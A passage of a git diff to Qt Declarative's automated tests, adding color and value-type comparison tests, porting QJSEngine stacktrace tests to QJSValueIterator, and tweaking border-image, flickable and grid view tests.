+ Q_PROPERTY(QPointF pointfpoint READ pointfpoint WRITE setPointfpoint NOTIFY changed)
Q_PROPERTY(QSize size READ size WRITE setSize NOTIFY changed)
Q_PROPERTY(QSizeF sizef READ sizef WRITE setSizef NOTIFY changed)
+ Q_PROPERTY(QSizeF sizefsize READ sizefsize WRITE setSizefsize NOTIFY changed)
Q_PROPERTY(QSize sizereadonly READ size NOTIFY changed)
Q_PROPERTY(QRect rect READ rect WRITE setRect NOTIFY changed)
Q_PROPERTY(QRectF rectf READ rectf WRITE setRectf NOTIFY changed)
+ Q_PROPERTY(QRectF rectfrect READ rectfrect WRITE setRectfrect NOTIFY changed)
Q_PROPERTY(QVector2D vector2 READ vector2 WRITE setVector2 NOTIFY changed)
Q_PROPERTY(QVector3D vector READ vector WRITE setVector NOTIFY changed)
Q_PROPERTY(QVector4D vector4 READ vector4 WRITE setVector4 NOTIFY changed)
Q_PROPERTY(QQuaternion quaternion READ quaternion WRITE setQuaternion NOTIFY changed)
Q_PROPERTY(QMatrix4x4 matrix READ matrix WRITE setMatrix NOTIFY changed)
Q_PROPERTY(QFont font READ font WRITE setFont NOTIFY changed)
+ Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY changed)
Q_PROPERTY(QVariant variant READ variant NOTIFY changed)
public:
MyTypeObject() :
m_point(10, 4),
m_pointf(11.3, -10.9),
+ m_pointfpoint(10.0, 4.0),
m_size(1912, 1913),
m_sizef(0.1, 100923.2),
+ m_sizefsize(1912.0, 1913.0),
m_rect(2, 3, 109, 102),
m_rectf(103.8, 99.2, 88.1, 77.6),
+ m_rectfrect(2.0, 3.0, 109.0, 102.0),
m_vector2(32.88, 1.3),
m_vector(23.88, 3.1, 4.3),
m_vector4(54.2, 23.88, 3.1, 4.3),
@@ -103,6 +111,10 @@ public:
m_font.setCapitalization(QFont::AllLowercase);
m_font.setLetterSpacing(QFont::AbsoluteSpacing, 10.2);
m_font.setWordSpacing(19.7);
+ m_color.setRedF(0.2);
+ m_color.setGreenF(0.88);
+ m_color.setBlueF(0.6);
+ m_color.setAlphaF(0.34);
}
QPoint m_point;
@@ -113,6 +125,10 @@ public:
QPointF pointf() const { return m_pointf; }
void setPointf(const QPointF &v) { m_pointf = v; emit changed(); }
+ QPointF m_pointfpoint;
+ QPointF pointfpoint() const { return m_pointfpoint; }
+ void setPointfpoint(const QPointF &v) { m_pointfpoint = v; emit changed(); }
+
QSize m_size;
QSize size() const { return m_size; }
void setSize(const QSize &v) { m_size = v; emit changed(); }
@@ -121,6 +137,10 @@ public:
QSizeF sizef() const { return m_sizef; }
void setSizef(const QSizeF &v) { m_sizef = v; emit changed(); }
+ QSizeF m_sizefsize;
+ QSizeF sizefsize() const { return m_sizefsize; }
+ void setSizefsize(const QSizeF &v) { m_sizefsize = v; emit changed(); }
+
QRect m_rect;
QRect rect() const { return m_rect; }
void setRect(const QRect &v) { m_rect = v; emit changed(); }
@@ -129,6 +149,10 @@ public:
QRectF rectf() const { return m_rectf; }
void setRectf(const QRectF &v) { m_rectf = v; emit changed(); }
+ QRectF m_rectfrect;
+ QRectF rectfrect() const { return m_rectfrect; }
+ void setRectfrect(const QRectF &v) { m_rectfrect = v; emit changed(); }
+
QVector2D m_vector2;
QVector2D vector2() const { return m_vector2; }
void setVector2(const QVector2D &v) { m_vector2 = v; emit changed(); }
@@ -153,6 +177,10 @@ public:
QFont font() const { return m_font; }
void setFont(const QFont &v) { m_font = v; emit changed(); }
+ QColor m_color;
+ QColor color() const { return m_color; }
+ void setColor(const QColor &v) { m_color = v; emit changed(); }
+
QVariant variant() const { return sizef(); }
void emitRunScript() { emit runScript(); }
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/tst_qdeclarativevaluetypes.cpp b/tests/auto/declarative/qdeclarativevaluetypes/tst_qdeclarativevaluetypes.cpp
index aa4c014d99..3ccd5cb341 100644
--- a/tests/auto/declarative/qdeclarativevaluetypes/tst_qdeclarativevaluetypes.cpp
+++ b/tests/auto/declarative/qdeclarativevaluetypes/tst_qdeclarativevaluetypes.cpp
@@ -77,6 +77,7 @@ private slots:
void quaternion();
void matrix4x4();
void font();
+ void color();
void variant();
void bindingAssignment();
@@ -134,6 +135,26 @@ void tst_qdeclarativevaluetypes::point()
delete object;
}
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("point_compare.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QString tostring = QLatin1String("QPoint(10, 4)");
+ QCOMPARE(object->property("tostring").toString(), tostring);
+ QCOMPARE(object->property("equalsString").toBool(), true);
+ QCOMPARE(object->property("equalsColor").toBool(), false);
+ QCOMPARE(object->property("equalsVector3d").toBool(), false);
+ QCOMPARE(object->property("equalsSize").toBool(), false);
+ QCOMPARE(object->property("equalsPoint").toBool(), true);
+ QCOMPARE(object->property("equalsRect").toBool(), false);
+ QCOMPARE(object->property("equalsSelf").toBool(), true);
+ QCOMPARE(object->property("equalsOther").toBool(), false);
+ QCOMPARE(object->property("pointEqualsPointf").toBool(), true);
+
+ delete object;
+ }
}
void tst_qdeclarativevaluetypes::pointf()
@@ -159,6 +180,26 @@ void tst_qdeclarativevaluetypes::pointf()
delete object;
}
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("pointf_compare.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QString tostring = QLatin1String("QPointF(11.3, -10.9)");
+ QCOMPARE(object->property("tostring").toString(), tostring);
+ QCOMPARE(object->property("equalsString").toBool(), true);
+ QCOMPARE(object->property("equalsColor").toBool(), false);
+ QCOMPARE(object->property("equalsVector3d").toBool(), false);
+ QCOMPARE(object->property("equalsSize").toBool(), false);
+ QCOMPARE(object->property("equalsPoint").toBool(), true);
+ QCOMPARE(object->property("equalsRect").toBool(), false);
+ QCOMPARE(object->property("equalsSelf").toBool(), true);
+ QCOMPARE(object->property("equalsOther").toBool(), false);
+ QCOMPARE(object->property("pointfEqualsPoint").toBool(), true);
+
+ delete object;
+ }
}
void tst_qdeclarativevaluetypes::size()
@@ -184,6 +225,26 @@ void tst_qdeclarativevaluetypes::size()
delete object;
}
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("size_compare.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QString tostring = QLatin1String("QSize(1912, 1913)");
+ QCOMPARE(object->property("tostring").toString(), tostring);
+ QCOMPARE(object->property("equalsString").toBool(), true);
+ QCOMPARE(object->property("equalsColor").toBool(), false);
+ QCOMPARE(object->property("equalsVector3d").toBool(), false);
+ QCOMPARE(object->property("equalsSize").toBool(), true);
+ QCOMPARE(object->property("equalsPoint").toBool(), false);
+ QCOMPARE(object->property("equalsRect").toBool(), false);
+ QCOMPARE(object->property("equalsSelf").toBool(), true);
+ QCOMPARE(object->property("equalsOther").toBool(), false);
+ QCOMPARE(object->property("sizeEqualsSizef").toBool(), true);
+
+ delete object;
+ }
}
void tst_qdeclarativevaluetypes::sizef()
@@ -209,6 +270,26 @@ void tst_qdeclarativevaluetypes::sizef()
delete object;
}
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("sizef_compare.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QString tostring = QLatin1String("QSizeF(0.1, 100923)");
+ QCOMPARE(object->property("tostring").toString(), tostring);
+ QCOMPARE(object->property("equalsString").toBool(), true);
+ QCOMPARE(object->property("equalsColor").toBool(), false);
+ QCOMPARE(object->property("equalsVector3d").toBool(), false);
+ QCOMPARE(object->property("equalsSize").toBool(), true);
+ QCOMPARE(object->property("equalsPoint").toBool(), false);
+ QCOMPARE(object->property("equalsRect").toBool(), false);
+ QCOMPARE(object->property("equalsSelf").toBool(), true);
+ QCOMPARE(object->property("equalsOther").toBool(), false);
+ QCOMPARE(object->property("sizefEqualsSize").toBool(), true);
+
+ delete object;
+ }
}
void tst_qdeclarativevaluetypes::variant()
@@ -293,6 +374,26 @@ void tst_qdeclarativevaluetypes::rect()
delete object;
}
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("rect_compare.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QString tostring = QLatin1String("QRect(2, 3, 109, 102)");
+ QCOMPARE(object->property("tostring").toString(), tostring);
+ QCOMPARE(object->property("equalsString").toBool(), true);
+ QCOMPARE(object->property("equalsColor").toBool(), false);
+ QCOMPARE(object->property("equalsVector3d").toBool(), false);
+ QCOMPARE(object->property("equalsSize").toBool(), false);
+ QCOMPARE(object->property("equalsPoint").toBool(), false);
+ QCOMPARE(object->property("equalsRect").toBool(), true);
+ QCOMPARE(object->property("equalsSelf").toBool(), true);
+ QCOMPARE(object->property("equalsOther").toBool(), false);
+ QCOMPARE(object->property("rectEqualsRectf").toBool(), true);
+
+ delete object;
+ }
}
void tst_qdeclarativevaluetypes::rectf()
@@ -320,6 +421,26 @@ void tst_qdeclarativevaluetypes::rectf()
delete object;
}
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("rectf_compare.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QString tostring = QLatin1String("QRectF(103.8, 99.2, 88.1, 77.6)");
+ QCOMPARE(object->property("tostring").toString(), tostring);
+ QCOMPARE(object->property("equalsString").toBool(), true);
+ QCOMPARE(object->property("equalsColor").toBool(), false);
+ QCOMPARE(object->property("equalsVector3d").toBool(), false);
+ QCOMPARE(object->property("equalsSize").toBool(), false);
+ QCOMPARE(object->property("equalsPoint").toBool(), false);
+ QCOMPARE(object->property("equalsRect").toBool(), true);
+ QCOMPARE(object->property("equalsSelf").toBool(), true);
+ QCOMPARE(object->property("equalsOther").toBool(), false);
+ QCOMPARE(object->property("rectfEqualsRect").toBool(), true);
+
+ delete object;
+ }
}
void tst_qdeclarativevaluetypes::vector2d()
@@ -345,6 +466,24 @@ void tst_qdeclarativevaluetypes::vector2d()
delete object;
}
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("vector2d_compare.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QString tostring = QLatin1String("QVector2D(32.88, 1.3)");
+ QCOMPARE(object->property("tostring").toString(), tostring);
+ QCOMPARE(object->property("equalsString").toBool(), true);
+ QCOMPARE(object->property("equalsColor").toBool(), false);
+ QCOMPARE(object->property("equalsVector3d").toBool(), false);
+ QCOMPARE(object->property("equalsSize").toBool(), false);
+ QCOMPARE(object->property("equalsPoint").toBool(), false);
+ QCOMPARE(object->property("equalsRect").toBool(), false);
+ QCOMPARE(object->property("equalsSelf").toBool(), true);
+
+ delete object;
+ }
}
void tst_qdeclarativevaluetypes::vector3d()
@@ -371,6 +510,25 @@ void tst_qdeclarativevaluetypes::vector3d()
delete object;
}
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("vector3d_compare.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QString tostring = QLatin1String("QVector3D(23.88, 3.1, 4.3)");
+ QCOMPARE(object->property("tostring").toString(), tostring);
+ QCOMPARE(object->property("equalsString").toBool(), true);
+ QCOMPARE(object->property("equalsColor").toBool(), false);
+ QCOMPARE(object->property("equalsVector3d").toBool(), true);
+ QCOMPARE(object->property("equalsSize").toBool(), false);
+ QCOMPARE(object->property("equalsPoint").toBool(), false);
+ QCOMPARE(object->property("equalsRect").toBool(), false);
+ QCOMPARE(object->property("equalsSelf").toBool(), true);
+ QCOMPARE(object->property("equalsOther").toBool(), false);
+
+ delete object;
+ }
}
void tst_qdeclarativevaluetypes::vector4d()
@@ -398,6 +556,24 @@ void tst_qdeclarativevaluetypes::vector4d()
delete object;
}
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("vector4d_compare.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QString tostring = QLatin1String("QVector4D(54.2, 23.88, 3.1, 4.3)");
+ QCOMPARE(object->property("tostring").toString(), tostring);
+ QCOMPARE(object->property("equalsString").toBool(), true);
+ QCOMPARE(object->property("equalsColor").toBool(), false);
+ QCOMPARE(object->property("equalsVector3d").toBool(), false);
+ QCOMPARE(object->property("equalsSize").toBool(), false);
+ QCOMPARE(object->property("equalsPoint").toBool(), false);
+ QCOMPARE(object->property("equalsRect").toBool(), false);
+ QCOMPARE(object->property("equalsSelf").toBool(), true);
+
+ delete object;
+ }
}
void tst_qdeclarativevaluetypes::quaternion()
@@ -425,6 +601,24 @@ void tst_qdeclarativevaluetypes::quaternion()
delete object;
}
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("quaternion_compare.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QString tostring = QLatin1String("QQuaternion(4.3, 54.2, 23.88, 3.1)");
+ QCOMPARE(object->property("tostring").toString(), tostring);
+ QCOMPARE(object->property("equalsString").toBool(), true);
+ QCOMPARE(object->property("equalsColor").toBool(), false);
+ QCOMPARE(object->property("equalsVector3d").toBool(), false);
+ QCOMPARE(object->property("equalsSize").toBool(), false);
+ QCOMPARE(object->property("equalsPoint").toBool(), false);
+ QCOMPARE(object->property("equalsRect").toBool(), false);
+ QCOMPARE(object->property("equalsSelf").toBool(), true);
+
+ delete object;
+ }
}
void tst_qdeclarativevaluetypes::matrix4x4()
@@ -471,6 +665,24 @@ void tst_qdeclarativevaluetypes::matrix4x4()
delete object;
}
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("matrix4x4_compare.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QString tostring = QLatin1String("QMatrix4x4(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16)");
+ QCOMPARE(object->property("tostring").toString(), tostring);
+ QCOMPARE(object->property("equalsString").toBool(), true);
+ QCOMPARE(object->property("equalsColor").toBool(), false);
+ QCOMPARE(object->property("equalsVector3d").toBool(), false);
+ QCOMPARE(object->property("equalsSize").toBool(), false);
+ QCOMPARE(object->property("equalsPoint").toBool(), false);
+ QCOMPARE(object->property("equalsRect").toBool(), false);
+ QCOMPARE(object->property("equalsSelf").toBool(), true);
+
+ delete object;
+ }
}
void tst_qdeclarativevaluetypes::font()
@@ -576,6 +788,91 @@ void tst_qdeclarativevaluetypes::font()
delete object;
}
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("font_compare.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QString tostring = QLatin1String("QFont(") + object->font().toString() + QLatin1Char(')');
+ QCOMPARE(object->property("tostring").toString(), tostring);
+ QCOMPARE(object->property("equalsString").toBool(), true);
+ QCOMPARE(object->property("equalsColor").toBool(), false);
+ QCOMPARE(object->property("equalsVector3d").toBool(), false);
+ QCOMPARE(object->property("equalsSize").toBool(), false);
+ QCOMPARE(object->property("equalsPoint").toBool(), false);
+ QCOMPARE(object->property("equalsRect").toBool(), false);
+ QCOMPARE(object->property("equalsSelf").toBool(), true);
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativevaluetypes::color()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("color_read.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE((float)object->property("v_r").toDouble(), (float)0.2);
+ QCOMPARE((float)object->property("v_g").toDouble(), (float)0.88);
+ QCOMPARE((float)object->property("v_b").toDouble(), (float)0.6);
+ QCOMPARE((float)object->property("v_a").toDouble(), (float)0.34);
+ QColor comparison;
+ comparison.setRedF(0.2);
+ comparison.setGreenF(0.88);
+ comparison.setBlueF(0.6);
+ comparison.setAlphaF(0.34);
+ QCOMPARE(object->property("copy"), QVariant(comparison));
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("color_write.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QColor newColor;
+ newColor.setRedF(0.5);
+ newColor.setGreenF(0.38);
+ newColor.setBlueF(0.3);
+ newColor.setAlphaF(0.7);
+ QCOMPARE(object->color(), newColor);
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("color_compare.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+ QString colorString("#33e199");
+ QCOMPARE(object->property("colorToString").toString(), colorString);
+ QCOMPARE(object->property("colorEqualsIdenticalRgba").toBool(), true);
+ QCOMPARE(object->property("colorEqualsDifferentAlpha").toBool(), false);
+ QCOMPARE(object->property("colorEqualsDifferentRgba").toBool(), false);
+ QCOMPARE(object->property("colorToStringEqualsColorString").toBool(), true);
+ QCOMPARE(object->property("colorToStringEqualsDifferentAlphaString").toBool(), true);
+ QCOMPARE(object->property("colorToStringEqualsDifferentRgbaString").toBool(), false);
+ QCOMPARE(object->property("colorEqualsColorString").toBool(), true); // maintaining behaviour with QtQuick 1.0
+ QCOMPARE(object->property("colorEqualsDifferentAlphaString").toBool(), true); // maintaining behaviour with QtQuick 1.0
+ QCOMPARE(object->property("colorEqualsDifferentRgbaString").toBool(), false);
+
+ QCOMPARE(object->property("equalsColor").toBool(), true);
+ QCOMPARE(object->property("equalsVector3d").toBool(), false);
+ QCOMPARE(object->property("equalsSize").toBool(), false);
+ QCOMPARE(object->property("equalsPoint").toBool(), false);
+ QCOMPARE(object->property("equalsRect").toBool(), false);
+
+ // Color == Property and Property == Color should return the same result.
+ QCOMPARE(object->property("equalsColorRHS").toBool(), object->property("equalsColor").toBool());
+ QCOMPARE(object->property("colorEqualsCopy").toBool(), true);
+ QCOMPARE(object->property("copyEqualsColor").toBool(), object->property("colorEqualsCopy").toBool());
+
+ delete object;
+ }
}
// Test bindings can write to value types
diff --git a/tests/auto/declarative/qjsengine/tst_qjsengine.cpp b/tests/auto/declarative/qjsengine/tst_qjsengine.cpp
index 49febdbf5e..d2f4b3b6ac 100644
--- a/tests/auto/declarative/qjsengine/tst_qjsengine.cpp
+++ b/tests/auto/declarative/qjsengine/tst_qjsengine.cpp
@@ -43,6 +43,7 @@
#include <QtTest/QtTest>
#include <qjsengine.h>
+#include <qjsvalueiterator.h>
#include <qgraphicsitem.h>
#include <qstandarditemmodel.h>
#include <QtCore/qnumeric.h>
@@ -138,9 +139,7 @@ private slots:
#endif
void globalObjectProperties();
void globalObjectEquals();
-#if 0 // ###FIXME: No QScriptValueIterator API
void globalObjectProperties_enumerate();
-#endif
void createGlobalObjectProperty();
void globalObjectGetterSetterProperty();
#if 0 // ###FIXME: No support for setting the global object
@@ -203,9 +202,7 @@ private slots:
void throwErrorFromProcessEvents();
void disableProcessEventsInterval();
#endif
-#if 0 // ###FIXME: No QScriptValueIterator API
void stacktrace();
-#endif
void numberParsing_data();
void numberParsing();
void automaticSemicolonInsertion();
@@ -1560,11 +1557,10 @@ void tst_QJSEngine::globalObjectEquals()
QVERIFY(o.equals(eng.globalObject()));
}
-#if 0 // ###FIXME: No QScriptValueIterator API
void tst_QJSEngine::globalObjectProperties_enumerate()
{
- QScriptEngine eng;
- QScriptValue global = eng.globalObject();
+ QJSEngine eng;
+ QJSValue global = eng.globalObject();
QSet<QString> expectedNames;
expectedNames
@@ -1598,10 +1594,6 @@ void tst_QJSEngine::globalObjectProperties_enumerate()
<< "unescape"
<< "SyntaxError"
<< "undefined"
- // non-standard
- << "gc"
- << "version"
- << "print"
// JavaScriptCore
<< "JSON"
// V8
@@ -1609,7 +1601,7 @@ void tst_QJSEngine::globalObjectProperties_enumerate()
;
QSet<QString> actualNames;
{
- QScriptValueIterator it(global);
+ QJSValueIterator it(global);
while (it.hasNext()) {
it.next();
actualNames.insert(it.name());
@@ -1627,7 +1619,6 @@ void tst_QJSEngine::globalObjectProperties_enumerate()
}
QVERIFY(remainingNames.isEmpty());
}
-#endif
void tst_QJSEngine::createGlobalObjectProperty()
{
@@ -3330,7 +3321,7 @@ void tst_QJSEngine::disableProcessEventsInterval()
}
#endif
-#if 0 // ###FIXME: No QScriptValueIterator API
+
void tst_QJSEngine::stacktrace()
{
QString script = QString::fromLatin1(
@@ -3358,34 +3349,36 @@ void tst_QJSEngine::stacktrace()
<< "foo(0)@testfile:3"
<< "<global>()@testfile:12";
- QScriptEngine eng;
- QScriptValue result = eng.evaluate(script, fileName);
+ QJSEngine eng;
+ QJSValue result = eng.evaluate(script, fileName);
QVERIFY(eng.hasUncaughtException());
QVERIFY(result.isError());
- QEXPECT_FAIL("", "QTBUG-6139: uncaughtExceptionBacktrace() doesn't give the full backtrace", Abort);
+ // QEXPECT_FAIL("", "QTBUG-6139: uncaughtExceptionBacktrace() doesn't give the full backtrace", Abort);
// ###FIXME: no uncahgutExceptionBacktrace: QCOMPARE(eng.uncaughtExceptionBacktrace(), backtrace);
QVERIFY(eng.hasUncaughtException());
QVERIFY(result.strictlyEquals(eng.uncaughtException()));
- QCOMPARE(result.property("fileName").toString(), fileName);
- QCOMPARE(result.property("lineNumber").toInt32(), 9);
+ // FIXME? it is not standard.
+ //QCOMPARE(result.property("fileName").toString(), fileName);
+ //QCOMPARE(result.property("lineNumber").toInt32(), 9);
- QScriptValue stack = result.property("stack");
- QVERIFY(stack.isArray());
+ QJSValue stack = result.property("stack");
- QCOMPARE(stack.property("length").toInt32(), 7);
+ // FIXME? it is not standard.
+ // QVERIFY(stack.isArray());
+ //QCOMPARE(stack.property("length").toInt32(), 7);
- QScriptValueIterator it(stack);
+ QJSValueIterator it(stack);
int counter = 5;
while (it.hasNext()) {
it.next();
- QScriptValue obj = it.value();
- QScriptValue frame = obj.property("frame");
+ QJSValue obj = it.value();
+ QJSValue frame = obj.property("frame");
QCOMPARE(obj.property("fileName").toString(), fileName);
if (counter >= 0) {
- QScriptValue callee = frame.property("arguments").property("callee");
+ QJSValue callee = frame.property("arguments").property("callee");
QVERIFY(callee.strictlyEquals(eng.globalObject().property("foo")));
QCOMPARE(obj.property("functionName").toString(), QString("foo"));
int line = obj.property("lineNumber").toInt32();
@@ -3401,10 +3394,11 @@ void tst_QJSEngine::stacktrace()
--counter;
}
- {
- QScriptValue bt = result.property("backtrace").call(result);
- QCOMPARE(qscriptvalue_cast<QStringList>(bt), backtrace);
- }
+// FIXME? it is not standard.
+// {
+// QJSValue bt = result.property("backtrace").call(result);
+// QCOMPARE(qjsvalue_cast<QStringList>(bt), backtrace);
+// }
// throw something that isn't an Error object
eng.clearExceptions();
@@ -3423,7 +3417,7 @@ void tst_QJSEngine::stacktrace()
"}\n"
"foo(0);");
- QScriptValue result2 = eng.evaluate(script2, fileName);
+ QJSValue result2 = eng.evaluate(script2, fileName);
QVERIFY(eng.hasUncaughtException());
QVERIFY(!result2.isError());
QVERIFY(result2.isString());
@@ -3435,7 +3429,6 @@ void tst_QJSEngine::stacktrace()
QVERIFY(!eng.hasUncaughtException());
// ###FIXME: No uncaughtExceptionBacktrace: QVERIFY(eng.uncaughtExceptionBacktrace().isEmpty());
}
-#endif
void tst_QJSEngine::numberParsing_data()
{
diff --git a/tests/auto/declarative/qjsvalue/tst_qjsvalue.cpp b/tests/auto/declarative/qjsvalue/tst_qjsvalue.cpp
index 4a785a92b0..91485e48d8 100644
--- a/tests/auto/declarative/qjsvalue/tst_qjsvalue.cpp
+++ b/tests/auto/declarative/qjsvalue/tst_qjsvalue.cpp
@@ -3706,7 +3706,6 @@ void tst_QJSValue::castToPointer()
int *ip = qjsvalue_cast<int*>(v);
QVERIFY(ip != 0);
QCOMPARE(*ip, 123);
- QEXPECT_FAIL("", "Pointer magic for variants is currently not supported by QJSEngine", Abort);
*ip = 456;
QCOMPARE(qjsvalue_cast<int>(v), 456);
diff --git a/tests/auto/declarative/qsgborderimage/data/colors-round-quotes.sci b/tests/auto/declarative/qsgborderimage/data/colors-round-quotes.sci
new file mode 100644
index 0000000000..294f3cfe48
--- /dev/null
+++ b/tests/auto/declarative/qsgborderimage/data/colors-round-quotes.sci
@@ -0,0 +1,7 @@
+border.left:10
+border.top:20
+border.right:30
+border.bottom:40
+horizontalTileRule:Round
+verticalTileRule:Repeat
+source:"colors.png"
diff --git a/tests/auto/declarative/qsgborderimage/qsgborderimage.pro b/tests/auto/declarative/qsgborderimage/qsgborderimage.pro
index db7fe77e1d..7b0c1d5560 100644
--- a/tests/auto/declarative/qsgborderimage/qsgborderimage.pro
+++ b/tests/auto/declarative/qsgborderimage/qsgborderimage.pro
@@ -16,3 +16,5 @@ symbian: {
CONFIG += parallel_test
QT += core-private gui-private declarative-private
+
+qpa:CONFIG+=insignificant_test # QTBUG-21004 fails, unstably
diff --git a/tests/auto/declarative/qsgborderimage/tst_qsgborderimage.cpp b/tests/auto/declarative/qsgborderimage/tst_qsgborderimage.cpp
index 75cc6a0b4a..d1fe084df2 100644
--- a/tests/auto/declarative/qsgborderimage/tst_qsgborderimage.cpp
+++ b/tests/auto/declarative/qsgborderimage/tst_qsgborderimage.cpp
@@ -324,8 +324,10 @@ void tst_qsgborderimage::sciSource_data()
QTest::addColumn<bool>("valid");
QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors-round.sci").toString() << true;
+ QTest::newRow("local quoted filename") << QUrl::fromLocalFile(SRCDIR "/data/colors-round-quotes.sci").toString() << true;
QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.sci").toString() << false;
QTest::newRow("remote") << SERVER_ADDR "/colors-round.sci" << true;
+ QTest::newRow("remote filename quoted") << SERVER_ADDR "/colors-round-quotes.sci" << true;
QTest::newRow("remote image") << SERVER_ADDR "/colors-round-remote.sci" << true;
QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.sci" << false;
}
diff --git a/tests/auto/declarative/qsgflickable/tst_qsgflickable.cpp b/tests/auto/declarative/qsgflickable/tst_qsgflickable.cpp
index fe96453140..4dbff74c56 100644
--- a/tests/auto/declarative/qsgflickable/tst_qsgflickable.cpp
+++ b/tests/auto/declarative/qsgflickable/tst_qsgflickable.cpp
@@ -460,7 +460,8 @@ void tst_qsgflickable::movingAndDragging()
QCOMPARE(dragStartSpy.count(), 1);
QCOMPARE(dragEndSpy.count(), 1);
- // Don't test moving because a flick could occur
+ // wait for any motion to end
+ QTRY_VERIFY(flickable->isMoving() == false);
//Horizontal
vDragSpy.clear();
diff --git a/tests/auto/declarative/qsgfocusscope/qsgfocusscope.pro b/tests/auto/declarative/qsgfocusscope/qsgfocusscope.pro
index b5d1815e11..375b497e3f 100644
--- a/tests/auto/declarative/qsgfocusscope/qsgfocusscope.pro
+++ b/tests/auto/declarative/qsgfocusscope/qsgfocusscope.pro
@@ -12,3 +12,5 @@ symbian: {
}
QT += core-private gui-private declarative-private
+
+qpa:contains(QT_CONFIG,xcb):CONFIG+=insignificant_test # QTBUG-21054, unstable
diff --git a/tests/auto/declarative/qsggridview/data/gridview-initCurrent.qml b/tests/auto/declarative/qsggridview/data/gridview-initCurrent.qml
index c012b4c481..e3ec8f2d4a 100644
--- a/tests/auto/declarative/qsggridview/data/gridview-initCurrent.qml
+++ b/tests/auto/declarative/qsggridview/data/gridview-initCurrent.qml
@@ -1,7 +1,12 @@
import QtQuick 2.0
Rectangle {
+ id: root
+
property int current: grid.currentIndex
+ property bool showHeader: false
+ property bool showFooter: false
+
width: 240
height: 320
color: "#ffffff"
@@ -37,6 +42,12 @@ Rectangle {
}
}
]
+
+ Component {
+ id: headerFooter
+ Rectangle { height: 30; width: 240; color: "blue" }
+ }
+
GridView {
id: grid
objectName: "grid"
@@ -48,5 +59,7 @@ Rectangle {
cellHeight: 60
delegate: myDelegate
model: testModel
+ header: root.showHeader ? headerFooter : null
+ footer: root.showFooter ? headerFooter : null
}
}
diff --git a/tests/auto/declarative/qsggridview/data/gridview1.qml b/tests/auto/declarative/qsggridview/data/gridview1.qml
index 0f148ed387..e6a3923532 100644
--- a/tests/auto/declarative/qsggridview/data/gridview1.qml
+++ b/tests/auto/declarative/qsggridview/data/gridview1.qml
@@ -20,6 +20,7 @@ Rectangle {
width: 80
height: 60
border.color: "blue"
+ property string name: model.name
Text {
text: index
}
diff --git a/tests/auto/declarative/qsggridview/tst_qsggridview.cpp b/tests/auto/declarative/qsggridview/tst_qsggridview.cpp
index e7dce4c86d..49c3080a1c 100644
--- a/tests/auto/declarative/qsggridview/tst_qsggridview.cpp
+++ b/tests/auto/declarative/qsggridview/tst_qsggridview.cpp
@@ -641,8 +641,8 @@ void tst_QSGGridView::moved()
QSGItem *item = findItem<QSGItem>(contentItem, "wrapper", i);
QVERIFY2(item, QTest::toString(QString("Item %1 not found").arg(i)));
- QTRY_VERIFY(item->x() == (i%3)*80);
- QTRY_VERIFY(item->y() == (i/3)*60 + itemsOffsetAfterMove);
+ QTRY_COMPARE(item->x(), (i%3)*80.0);
+ QTRY_COMPARE(item->y(), (i/3)*60.0 + itemsOffsetAfterMove);
name = findItem<QSGText>(contentItem, "textName", i);
QVERIFY(name != 0);
@@ -725,17 +725,17 @@ void tst_QSGGridView::moved_data()
QTest::newRow("move multiple forwards, within visible items")
<< 0.0
<< 0 << 5 << 3
- << 0.0;
+ << 60.0; // moved 3 items (i.e. 1 row) down
QTest::newRow("move multiple forwards, from non-visible -> visible")
<< 120.0 // show 6-23
<< 1 << 6 << 3
- << 0.0;
+ << 60.0; // top row moved, all items should shift down by 1 row
